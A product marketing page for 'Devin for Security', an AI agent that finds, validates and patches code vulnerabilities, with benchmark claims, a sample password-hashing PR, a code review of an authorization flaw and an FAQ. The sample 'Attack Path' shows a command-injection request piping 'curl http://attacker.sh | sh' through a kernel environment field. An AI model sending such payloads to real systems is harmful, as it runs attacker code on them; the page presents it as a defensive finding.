Devin for Security

Devin finds the vulnerabilities other tools miss, validates that they are actually exploitable at runtime, and ships remediation PRs.

Get started Talk to sales

More accurate.
More cost effective.

Devin Security Swarm found 36 of 50 real-world GHSA vulnerabilities at 30% lower cost per finding than the next most accurate alternative.

Harness

Recall

$/Run

Devin Security

72%

$90.23

Claude Security

68%

$131.87

Codex Security

48%

$118.20

Cursor Security

26%

$4.60

The benchmark covers published GitHub Security Advisories across Go, Python, JavaScript, Rust, Ruby, C#, Java, Swift, PHP, Elixir, Erlang, C, Kotlin, and Dart. Learn more

72%

recall on50 real-world vulnerabilities

30%

lower cost per findingthan nearest comparable alternative

Introducing
Devin Security Swarm:
Powered by Agentic MapReduce

A new way for security and engineering teams to find, validate, and remediate vulnerabilities across their codebases.

Move from noisy finding lists
to validated fixes

Find

Find novel threats

Devin reasons across files to catch vulnerabilities that span multiple components—business logic flaws, chained auth bypasses, and cross-service exploit paths. Findings are composed into full attack paths.

Chained auth bypass

Devin is thinking

SeverityCritical

Status

ConfidenceHigh

Attack Path

POST /api/kernels {"env":{"KERNEL_SPARK_OPTS":"; curl http://attacker.sh | sh"}}

At lines 116-135, user_defined_spark_opts = env_dict["KERNEL_SPARK_OPTS"] is interpolated into SPARK_OPTS with no escaping. SPARK_OPTS is part of the env dict passed to launch_kernel.

Validate

Validate findings for exploitability

Devin reproduces each exploit in an isolated sandbox before surfacing it to your team, reducing false positives and giving reviewers context.

Runtime Validation

$ ./reproduce-exploit.sh

Starting isolated VM...

Sending crafted request...

Exploit reproduced

Attacker gains admin session

Runtime artifacts

Attached

Remediate

Remediate faster with
Devin writing the PRs

After confirming the exploit, Devin writes the patch, runs validation, and opens a remediation PR ready for review.

Open

usacognition/PantryPal #22

Hash stored passwords with bcrypt

IDIdoPesok

maindevin/1780880381-hash-passwords

4 files

+247−246

Description

Discussion

Commits

Devin's AI analysis

This PR introduces bcryptjs to hash user passwords instead of storing them in plaintext. Key changes:

Seed data and user registration now store bcrypt.hashSync(password, 12) instead of raw passwords
The GET /users/:id endpoint no longer returns the password hash (SELECT * → explicit column list)
Seed passwords changed from weak values (password123, hunter2) to stronger demo passwords

Products

Security across the whole SDLC

Devin helps teams find, validate, remediate, and review vulnerabilities within their existing workflows

Security

Total

1,560

Open

946.0%

Closed

21814.0%

Merged

1,24880.0%

Findings10,540

800

600

400

200

May 27May 31Jun 4Jun 8Jun 12Jun 16Jun 20Jun 24

Scans587Profiles11

Created by youTotalCriticalHighMedLast Scan

acme/payments-apiNo profile

815

23012221h ago

acme/checkout-webSlack Server Security Scan

52212w ago

OrganizationTotalCriticalHighMedLast Scan

acme/auth-serviceSlack Server Security Scan

101361w ago

Security Swarm

Deep, parallel vulnerability research with exploit validation and direct remediation.

Try it in Devin How it works

0 / 141 lines left

+41Mark as viewed

112usersApp.post("/api/users/password",

secureFnc, function(req, res, next) {

113const permission = checkGroupsFnc(req);

114if (res.statusCode === 403) {

115runtime.logger.error("api post users/password: Token Expired");

116} else if (!req.body.username || !req.body.password) {

117res.status(400).json({error:"invalid_request", message: "Missing username or password"});

118} else {

119runtime.users.getUsers({ username: req.body.username }).then(users => {

120const user = (users && users.length) ? users[0] : null;

121if (!user) {

122res.status(404).json({error:"not_found", message: "User not found"});

123return;

124}

125runtime.users.setUsers({

126username: user.username,

127fullname: user.fullname,

128password: req.body.password,

129groups: user.groups,

130info: user.info,

131});

132}).catch(err) => {

133runtime.logger.error(err);

Security criticalAuth BypassCWE-862R112-119

Devin

Password-change endpoint lacks ownership or admin authorization checks

The new POST /api/users/password handler accepts any username and password after secureFnc, but never verifies that the authenticated request user is the same account (or an admin) before calling setUsers. In this codebase verifyToken also creates a guest token when no x-access-token is supplied (jwt-helper.js:46-65), so an unauthenticated/guest request can reach this handler and reset any known user's password, resulting in account takeover.

Recommendation

Require a valid authenticated non-guest user for this route, verify req.userId === req.body.username for self-service changes (or require admin permission for resets), and verify the current password before writing the new password. Reject guest/unauthenticated requests and avoid disclosing whether arbitrary usernames exist if possible.

Security in Devin Review

Catch risky patterns in every diff before a human reviewer approves the change.

Try it in Devin

Enterprise

Devin Security Program

A six-week engagement that takes your vulnerability backlog toward zero and keeps it there. Cognition's engineering team embeds with yours to set up Security Swarm for your codebase.

You walk away with your backlog cleared and proactive discovery running continuously.

Talk to sales Learn more

Devin on your team

Learn more about
Devin for Security

See how Devin finds, validates, and fixes vulnerabilities.

Get started

Frequently Asked Questions

What is Devin Security Swarm?

Devin Security Swarm finds, validates, and fixes security vulnerabilities in your code. Instead of matching your code against a fixed list of patterns, it launches a team of Devin agents that read your code the way a security engineer would — reasoning about how data flows, whether an attacker can actually reach a vulnerable line, and whether several small issues combine into a real exploit.

What actually happens when I run a scan?

A scan is an orchestrator agent that launches and coordinates a series of child agents, each doing one part of the security work. There are three core phases and two optional ones:

Threat modeling and matcher creation. One agent studies your repository and builds a threat model — the specific vulnerability classes that matter for this codebase, given its frameworks and languages. It turns that model into targeted searches that surface candidate locations (“signals”) and groups them into batches.
Investigation. Multiple agents run in parallel, one per batch. Each reads the real source code around its signals and decides which are genuine vulnerabilities. This is where the depth comes from — the signals only point agents at code; the agents are told to look past them and trace issues across files.
Aggregation and triage. One agent combines all findings, removes duplicates, attaches likely owners, composes cross-file attack chains, and assigns each finding a priority.
Runtime validation (optional). If your scan profile enables it, agents stand up your app and safely reproduce top findings to confirm they’re actually exploitable.
Report (optional). If your profile enables it, an agent compiles a shareable report of the results.

Running many investigation agents in parallel — the “swarm” — is what lets a scan apply a security engineer’s depth to every part of a codebase without taking weeks.

Why is this valuable — what do I get that a normal scanner can’t give me?

Fewer false alarms, with proof. Every candidate must pass a strict reachability-and-impact check before it’s flagged, and (when enabled) runtime validation reproduces it against a live build. What reaches your team is evidence, not a queue of “maybes” to hand-triage.
Vulnerability classes scanners miss. Because agents reason step by step, they find logic flaws and chained exploits — where several individually low-severity issues combine into one real threat. Pattern-based tools can’t reach these.
The fix, not just the ticket. You can hand any finding back to Devin to open a policy-compliant pull request, and the next scan checks whether the fix actually resolved it.
Coverage at scale. The parallel architecture lets a single program scan across a large repository estate, and follow-up scans only look at what changed — so continuous coverage stays affordable.

Does Swarm automatically fix everything it finds?

No. Swarm surfaces findings, and you choose which ones to assign to Devin to remediate.

Can customers bring their own scanner?

Yes. You can give Devin access to your existing scanners and instruct it to run or consume them—today this is done through the profile feature via prompting and an API integration. Devin can then help with validation, deduplication, attack-chain composition, prioritization, and remediation. This is just one way to use Swarm; Devin can also do the discovery of issues itself.

Does this replace our existing scanners?

Swarm is additive—more coverage is always better. It helps you surface and do more than traditional scanners are capable of. Over time it may replace some legacy SAST or DAST workflows once you’ve proven the value.

Isn’t this going to be expensive?

The first full scan is usually the most expensive because it establishes a baseline across your current codebase. Subsequent incremental scans are designed to be much cheaper, because they analyze the diff since the last scan rather than the entire repo.

Is this just a wrapper around Fable?

No. Swarm does not rely on Fable and was not affected by Fable being pulled.

Tell me more about runtime validation. What happens if it cannot prove a finding?

By default, scans run static analysis; runtime validation is enabled through the scan profile. Validation returns one of three results—confirmed, false positive, or inconclusive. Inconclusive should be treated as “needs human review,” not as a failed scan.

How is this different from just using a skill?

You can absolutely use a Devin workflow for narrow security tasks. The difference is architectural: skills are prompts, while Swarm is an orchestration layer of Devins coordinated through an agentic map-reduce architecture that reasons across an entire codebase—often the only way to know whether something is trustworthy is to consider how it’s actually used across the repo. Swarm gives you dynamic repo slicing, parallel investigation, completion management, cost-aware batching, incremental scans, reducer-based dedupe and prioritization, optional runtime validation per finding, scan profiles, and a finding lifecycle that connects to Devin remediation.